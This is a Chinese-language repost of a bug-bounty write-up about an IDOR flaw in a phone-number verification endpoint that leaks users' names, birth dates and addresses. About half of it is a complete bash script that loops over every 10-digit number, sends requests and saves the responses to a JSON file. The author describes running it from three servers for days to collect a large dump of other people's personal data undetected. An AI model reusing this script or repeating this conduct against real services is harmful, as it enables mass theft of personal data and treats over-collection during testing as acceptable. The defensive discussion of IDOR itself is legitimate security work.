来源:Medium,作者:Supun Halangoda (Suppa)
现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!
0x00 前言
https://portswigger.net/web-security/access-control/idor
https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html
0x01 初始漏洞
现在,在这种情况下,我添加了我的电话号码、姓名和其他字段,并使用 Burp Suite 捕获了请求,然后将其发送到转发器,以下是请求的示例。
所以,当我仔细检查请求时,我注意到它首先验证了电话号码的合法性。它对提供的电话号码执行验证检查。
然后,当我将此请求发送给中继器并检查响应时,它提供了我的所有详细信息,包括我的姓名、出生日期 (DOB)、地址和其他个人信息,这些构成了 PII 数据(个人身份信息)。
接下来,我只是将电话号码的最后两位数字更改为随机数字,令我惊讶的是,响应显示了另一个用户的个人详细信息,如下例所示。(注意:我已经编辑了 PII 数据)
然后,我继续向 Intruder 发送请求并尝试枚举 100 个不同的号码,令我惊讶的是,没有适当的速率限制控制,这让我产生了创建自己的 bash 脚本来自动枚举数据的想法。
#!/bin/bash
endpoint="https://xyz.com/verifyNumber"
cookie="X"
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
referer="https://xyz.com/"
content_length="37"
data="sbu=PostPaid%PrePaid"
# Create an empty array for responses
responses=()
for ((num=1111111111; num<=9999999999; num++))
do
number="number=$num"
# Create temporary request file
request_file=$(mktemp)
cat << EOF > "$request_file"
GET /verifyNumber HTTP/2
Host: xyz.com
Cookie: $cookie
User-Agent: $user_agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: $referer
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1
Te: trailers
Content-Length: $content_length
$number&$data
EOF
# Send the request using curl and append the response to the array
response=$(curl -X GET -H "Content-Type: application/x-www-form-urlencoded" --http2 --data-binary "@$request_file" "$endpoint")
responses+=("$response")
# Cleanup
rm "$request_file"
done
# Save the responses array as JSON
echo "[" > resp.json
for ((i=0; i<${#responses[@]}; i++))
do
echo "${responses[i]}" >> resp.json
if [[ $i -lt $(( ${#responses[@]} - 1 )) ]]; then
echo "," >> resp.json
fi
done
echo "]" >> resp.json
因此,我在我的三台虚拟专用服务器 (VPS) 上运行了这个脚本,使用了三到四天的各种数字模式,我能够生成大量数据转储,令人惊讶的是,他们没有检测到我的暴力尝试,也没有试图阻止我。
“根据该公司安全工程师的回应,提到我发现并利用的这个漏洞可能导致 1700 万用户数据泄露。这确实是一个重大而实质性的影响。”
我希望你能从这篇文章中学到一些东西,“ IDOR 日记:意外数据泄露的故事”还会带来更多内容。
0x02 我的帖子摘要
在评估期间,我发现系统中存在不安全的直接对象引用 (IDOR) 漏洞。这允许未经授权访问敏感的用户数据,包括个人身份信息 (PII)。我通过观察支持门户中电话号码的验证来确定漏洞。通过修改请求中的电话号码,我可以检索其他用户的个人详细信息。为了进一步利用该漏洞,我创建了一个 bash 脚本并在多个虚拟专用服务器 (VPS) 上运行它以系统地枚举和收集大量数据而不被发现。报告该漏洞后,该公司意识到其重要性,并通过添加会话令牌来隐藏响应中的敏感数据来实施修复。
在进行安全评估和披露漏洞时,请记住负责任地使用这些知识并遵守法律和道德准则。
关注我们
还在等什么?赶紧点击下方名片开始学习吧!
信 安 考 证
CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001...
推 荐 阅 读